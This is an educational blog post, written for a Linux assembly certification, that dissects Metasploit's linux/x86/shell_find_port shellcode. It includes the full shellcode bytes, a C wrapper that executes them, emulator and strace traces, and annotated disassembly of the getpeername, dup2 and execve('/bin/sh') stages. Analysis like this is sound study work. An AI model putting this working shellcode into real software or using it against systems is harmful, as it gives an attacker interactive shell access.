Analysis of Metasploit linux/x86/shell_find_port shellcode

This post analyses innards of linux/x86/shell_find_port shellcode. This shellcode spawns a shell on an established connection.

Initial shellcode overview and testing

Inspect payload options and generate shellcode for analysis

$ msfvenom -p linux/x86/shell_find_port --list-options
Options for payload/linux/x86/shell_find_port:
=========================


       Name: Linux Command Shell, Find Port Inline
     Module: payload/linux/x86/shell_find_port
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 62
       Rank: Normal

Provided by:
    Ramon de C Valle <rcvalle@metasploit.com>

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
CPORT  40746            no        The local client port

Description:
  Spawn a shell on an established connection

linux/x86/shell_find_port payload has one option. We will keep CPORT set to default value 40746

$ msfvenom -p linux/x86/shell_find_port -f c
Payload size: 62 bytes
Final size of c file: 287 bytes
unsigned char buf[] = 
"\x31\xdb\x53\x89\xe7\x6a\x10\x54\x57\x53\x89\xe1\xb3\x07\xff"
"\x01\x6a\x66\x58\xcd\x80\x66\x81\x7f\x02\x48\x35\x75\xf1\x5b"
"\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b"
"\xcd\x80";

Insert generated shellcode into testing C wrapper

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
// msfvenom -p linux/x86/shell_find_port -f c
"\x31\xdb\x53\x89\xe7\x6a\x10\x54\x57\x53\x89\xe1\xb3\x07\xff"
"\x01\x6a\x66\x58\xcd\x80\x66\x81\x7f\x02\x48\x35\x75\xf1\x5b"
"\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b"
"\xcd\x80";

main()
{
	printf("Shellcode Length:  %d\n", strlen(code));
	int (*CodeFun)() = (int(*)())code;
	CodeFun();
}

Shellcode analysis

Using libemu sctest gives infinite loop

sys_getpeername(2)
[emu 0x0x955b078 debug ] cpu state    eip=0x00417015
[emu 0x0x955b078 debug ] eax=0x00000066  ecx=0x00416fba  edx=0x00000000  ebx=0x00000007
[emu 0x0x955b078 debug ] esp=0x00416fba  ebp=0x00000000  esi=0x00000000  edi=0x00416fca
[emu 0x0x955b078 debug ] Flags: CF PF 
[emu 0x0x955b078 debug ] 66817F029F54                    cmp word [edi+0x2],0x549f
[emu 0x0x955b078 debug ] cpu state    eip=0x0041701b
[emu 0x0x955b078 debug ] eax=0x00000066  ecx=0x00416fba  edx=0x00000000  ebx=0x00000007
[emu 0x0x955b078 debug ] esp=0x00416fba  ebp=0x00000000  esi=0x00000000  edi=0x00416fca
[emu 0x0x955b078 debug ] Flags: CF SF 
[emu 0x0x955b078 debug ] 75                              jnz 0x1
[emu 0x0x955b078 debug ] cpu state    eip=0x0041700e
[emu 0x0x955b078 debug ] eax=0x00000066  ecx=0x00416fba  edx=0x00000000  ebx=0x00000007
[emu 0x0x955b078 debug ] esp=0x00416fba  ebp=0x00000000  esi=0x00000000  edi=0x00416fca
[emu 0x0x955b078 debug ] Flags: CF SF 
[emu 0x0x955b078 debug ] FF01                            inc [ecx]
[emu 0x0x955b078 debug ] cpu state    eip=0x00417010
[emu 0x0x955b078 debug ] eax=0x00000066  ecx=0x00416fba  edx=0x00000000  ebx=0x00000007
[emu 0x0x955b078 debug ] esp=0x00416fba  ebp=0x00000000  esi=0x00000000  edi=0x00416fca
[emu 0x0x955b078 debug ] Flags: CF PF 
[emu 0x0x955b078 debug ] 6A66                            push byte 0x66
[emu 0x0x955b078 debug ] cpu state    eip=0x00417012
[emu 0x0x955b078 debug ] eax=0x00000066  ecx=0x00416fba  edx=0x00000000  ebx=0x00000007
[emu 0x0x955b078 debug ] esp=0x00416fb6  ebp=0x00000000  esi=0x00000000  edi=0x00416fca
[emu 0x0x955b078 debug ] Flags: CF PF 
[emu 0x0x955b078 debug ] 58                              pop eax
[emu 0x0x955b078 debug ] cpu state    eip=0x00417013
[emu 0x0x955b078 debug ] eax=0x00000066  ecx=0x00416fba  edx=0x00000000  ebx=0x00000007
[emu 0x0x955b078 debug ] esp=0x00416fba  ebp=0x00000000  esi=0x00000000  edi=0x00416fca
[emu 0x0x955b078 debug ] Flags: CF PF 
[emu 0x0x955b078 debug ] CD80

strace output gives same loop but in little bit more readable form

...
write(1, "Shellcode Length:  62\n", 22Shellcode Length:  62
) = 22
getpeername(1, 0xbfd801e8, [16])        = -1 ENOTSOCK (Socket operation on non-socket)
getpeername(2, 0xbfd801e8, [16])        = -1 ENOTSOCK (Socket operation on non-socket)
getpeername(3, 0xbfd801e8, [16])        = -1 EBADF (Bad file descriptor)
getpeername(4, 0xbfd801e8, [16])        = -1 EBADF (Bad file descriptor)
getpeername(5, 0xbfd801e8, [16])        = -1 EBADF (Bad file descriptor)
getpeername(6, 0xbfd801e8, [16])        = -1 EBADF (Bad file descriptor)
getpeername(7, 0xbfd801e8, [16])        = -1 EBADF (Bad file descriptor)
getpeername(8, 0xbfd801e8, [16])        = -1 EBADF (Bad file descriptor)
getpeername(9, 0xbfd801e8, [16])        = -1 EBADF (Bad file descriptor)
getpeername(10, 0xbfd801e8, [16])       = -1 EBADF (Bad file descriptor)
...

It seems that shellcode gets stucked in infinite getpeername() call loop. Let’s have a closer look at shellcode assembly.

$ echo -ne "\x31\xdb\x53\x89\xe7\x6a\x10\x54\x57\x53\x89\xe1\xb3\x07\xff\x01\x6a\x66\x58\xcd\x80\x66\x81\x7f\x02\x48\x35\x75\xf1\x5b\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" | ndisasm -u -
00000000  31DB              xor ebx,ebx
00000002  53                push ebx
00000003  89E7              mov edi,esp
00000005  6A10              push byte +0x10
00000007  54                push esp
00000008  57                push edi
00000009  53                push ebx
0000000A  89E1              mov ecx,esp
0000000C  B307              mov bl,0x7
0000000E  FF01              inc dword [ecx]
00000010  6A66              push byte +0x66
00000012  58                pop eax
00000013  CD80              int 0x80
00000015  66817F024835      cmp word [edi+0x2],0x3548
0000001B  75F1              jnz 0xe
0000001D  5B                pop ebx
0000001E  6A02              push byte +0x2
00000020  59                pop ecx
00000021  B03F              mov al,0x3f
00000023  CD80              int 0x80
00000025  49                dec ecx
00000026  79F9              jns 0x21
00000028  50                push eax
00000029  682F2F7368        push dword 0x68732f2f
0000002E  682F62696E        push dword 0x6e69622f
00000033  89E3              mov ebx,esp
00000035  50                push eax
00000036  53                push ebx
00000037  89E1              mov ecx,esp
00000039  99                cdq
0000003A  B00B              mov al,0xb
0000003C  CD80              int 0x80

Assembly part 1 – System call 0x66

00000000  31DB              xor ebx,ebx                 ; zeroing ebx
00000002  53                push ebx                    ; stack content(hex): 00
00000003  89E7              mov edi,esp                 ; edi points to stack, to 00
00000005  6A10              push byte +0x10             ; stack content(hex):   10 00
00000007  54                push esp                    ; stack content(hex):   a4 f2 ff bf  10 00
00000008  57                push edi                    ; stack content(hex):   a8 f2 ff bf  a4 f2 ff bf  10 00
00000009  53                push ebx                    ; stack content(hex):   00 00 00 00  a8 f2 ff bf  a4 f2 ff bf  10 00
0000000A  89E1              mov ecx,esp                 ; ecx points to top of the stack
0000000C  B307              mov bl,0x7                  ; ebx=0x7
0000000E  FF01              inc dword [ecx]             ; stack content(hex):   01 00 00 00  a8 f2 ff bf  a4 f2 ff bf  10 00
00000010  6A66              push byte +0x66             ; set eax to 0x66 (102), syscall socketcall()
00000012  58                pop eax                     ; set eax to 0x66 (102), syscall socketcall()
00000013  CD80              int 0x80                    ; invoke system call socketcall()
00000015  66817F024835      cmp word [edi+0x2],0x3548   ; compares sockaddr_in.sin_port with CPORT specified in msfvenom
0000001B  75F1              jnz 0xe                     ; if sockaddr_in.sin_port!=CPORT then try next fd ...

Comments in stub above are based upon shellcode execution in GDB. socketcall() execution is somewhat more complicated to decipher and it will be easier to dig out argument values directly from memory of GDB run.

So all instructions up to offset 00000013 prepares arguments for system call 0x66 (102) socketcall(). From man-pages we get following signature

int socketcall(int call, unsigned long *args);

and description

socketcall() is a common kernel entry point for the socket system calls.
call determines which socket function to invoke.
args points to a block containing the actual arguments, which are passed through to the appropriate call.

EBX is set to 0x7 and passed as call parameter. call argument values are defined in net.h header file for the Linux NET layer. From there we get

#define SYS_GETPEERNAME	7	/* sys_getpeername(2)		*/

thus getpeername() socket call is invoked. args argument of socketcall() is passed directly to getpeername() so let’s inspect getpeername() itself. From man-pages we get signature

int getpeername(int sockfd, struct sockaddr *addr, socklen_t *addrlen);

and description

getpeername() returns the address of the peer connected to the socket sockfd, in the buffer pointed to by addr.
The addrlen argument should be initialized to indicate the amount of space pointed to by addr.
On return it contains the actual size of the name returned (in bytes).

socketcall() args argument is just pointer to structure containing all getpeername() arguments. So ECX points to such structure. Now we need to check assembly stub and particularly following line

0000000E  FF01              inc dword [ecx]             ; stack content(hex):   01 00 00 00  a8 f2 ff bf  a4 f2 ff bf  10 00

After executing instruction on offset 0000000E the stack will look as follows
(remember that ECX points to same location as ESP)

(gdb) x/20bx $ecx
0xbffff298: 0x01 0x00 0x00 0x00 0xa8 0xf2 0xff 0xbf
0xbffff2a0: 0xa4 0xf2 0xff 0xbf 0x10 0x00 0x00 0x00

(gdb) x/5wx $ecx
0xbffff298: 0x00000001 0xbffff2a8 0xbffff2a4 0x00000010
0xbffff2a8: 0x00000000

In bold are bytes which were pushed into stack by shellcode.

First getpeername() argument is sockfd=0x1.

Because 0xbffff2a8 points to

(gdb) x/d 0xbffff2a8
0xbffff2a8:	0

we have *addr=NULL. Similarly

(gdb) x/d 0xbffff2a4
0xbffff2a4:	16

so *addrlen=16 hence final getpeername() call is

getpeername(1, NULL, 16)

If current file descriptor contains valid sockaddr_in structure then it’s saved into *addr buffer and sockaddr_in.sin_port structure member is compared with CPORT setting used in msfvenom command. If we get error or invalid sin_port, sockfd in getpeername() is increased until match (possibly forever).

Assembly part 2 – System call 0x3f

0000001D  5B                pop ebx                     ; ebx=number of valid file descriptor
0000001E  6A02              push byte +0x2              ; ecx=2
00000020  59                pop ecx                     ; ecx=2
00000021  B03F              mov al,0x3f                 ; set eax to 0x3f (63), syscall dup2()
00000023  CD80              int 0x80                    ; invoke system call dup2()
00000025  49                dec ecx                     ; proceed to next descriptor
00000026  79F9              jns 0x21                    ; repeat from 00000021 if ecx >= 0, (SF = 0)

Purpose of this code is to duplicate (redirect) file descriptors.

System call 0x3f (63) is dup2(). Signature for dup2() call is

int dup2(int oldfd, int newfd);

EBX contains matched file descriptor from previous Assembly part 1. ECX is initialized with 0x2 and decreased to 0x0 in loop. Following calls are made

dup2(fd of matched socket/port, STDERR fd (2))
dup2(fd of matched socket/port, STDOUT fd (1))
dup2(fd of matched socket/port, STDIN fd (0))

So any data going in/out matched socket are redirected to/from STDIN, STDOUT, STDERR.

Assembly part 3 – System call 0xb

00000028  50                push eax                    ; push 0x00
00000029  682F2F7368        push dword 0x68732f2f       ; push "hs//"
0000002E  682F62696E        push dword 0x6e69622f       ; push "nib/"
00000033  89E3              mov ebx,esp                 ; ebx points to "/bin/sh"
00000035  50                push eax                    ; push 0x00
00000036  53                push ebx                    ; push address of "/bin/sh"
00000037  89E1              mov ecx,esp                 ; ecx points to *"/bin/sh" 0x00 "/bin/sh" 0x00
00000039  99                cdq                         ; zeroing edx
0000003A  B00B              mov al,0xb                  ; set eax to 0xb (11), syscall execve()
0000003C  CD80              int 0x80                    ; invoke system call dup2()

This standard stub executes /bin/sh in current process.

System call 0xb (11) is execve(). Signature for execve() call is

int execve(const char *filename, char *const argv[], char *const envp[]);

EBX is pointer to “/bin/sh0x00”. ECX points to following data located in the stack

[address of "/bin/sh"]0x00/bin/sh0x00

EDX is zeroed by cdq instruction no environment variables are passed to execve() call.

Final assembly analysis overview

00000000  31DB              xor ebx,ebx                 ; zeroing ebx
00000002  53                push ebx                    ; stack content(hex): 00
00000003  89E7              mov edi,esp                 ; edi points to stack, to 00
00000005  6A10              push byte +0x10             ; stack content(hex):   10 00
00000007  54                push esp                    ; stack content(hex):   a4 f2 ff bf  10 00
00000008  57                push edi                    ; stack content(hex):   a8 f2 ff bf  a4 f2 ff bf  10 00
00000009  53                push ebx                    ; stack content(hex):   00 00 00 00  a8 f2 ff bf  a4 f2 ff bf  10 00
0000000A  89E1              mov ecx,esp                 ; ecx points to top of the stack
0000000C  B307              mov bl,0x7                  ; ebx=0x7
0000000E  FF01              inc dword [ecx]             ; stack content(hex):   01 00 00 00  a8 f2 ff bf  a4 f2 ff bf  10 00 getpeername(sockfd, *addr, *addrlen)
00000010  6A66              push byte +0x66             ; set eax to 0x66 (102), syscall socketcall()
00000012  58                pop eax                     ; set eax to 0x66 (102), syscall socketcall()
00000013  CD80              int 0x80                    ; invoke system call socketcall()
00000015  66817F024835      cmp word [edi+0x2],0x3548   ; compares sockaddr_in.sin_port with CPORT specified in msfvenom
0000001B  75F1              jnz 0xe                     ; if sockaddr_in.sin_port!=CPORT then try next fd ...
0000001D  5B                pop ebx                     ; ebx=number of valid file descriptor
0000001E  6A02              push byte +0x2              ; ecx=2
00000020  59                pop ecx                     ; ecx=2
00000021  B03F              mov al,0x3f                 ; set eax to 0x3f (63), syscall dup2()
00000023  CD80              int 0x80                    ; invoke system call dup2()
00000025  49                dec ecx                     ; proceed to next descriptor
00000026  79F9              jns 0x21                    ; repeat from 00000021 if ecx >= 0, (SF = 0)
00000028  50                push eax                    ; push 0x00
00000029  682F2F7368        push dword 0x68732f2f       ; push "hs//"
0000002E  682F62696E        push dword 0x6e69622f       ; push "nib/"
00000033  89E3              mov ebx,esp                 ; ebx points to "/bin/sh"
00000035  50                push eax                    ; push 0x00
00000036  53                push ebx                    ; push address of "/bin/sh"
00000037  89E1              mov ecx,esp                 ; ecx points to *"/bin/sh"0x00"/bin/sh"0x00
00000039  99                cdq                         ; zeroing edx
0000003A  B00B              mov al,0xb                  ; set eax to 0xb (11), syscall execve()
0000003C  CD80              int 0x80                    ; invoke system call dup2()

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification

Github code

Student ID: SLAE-1443

Leave a Reply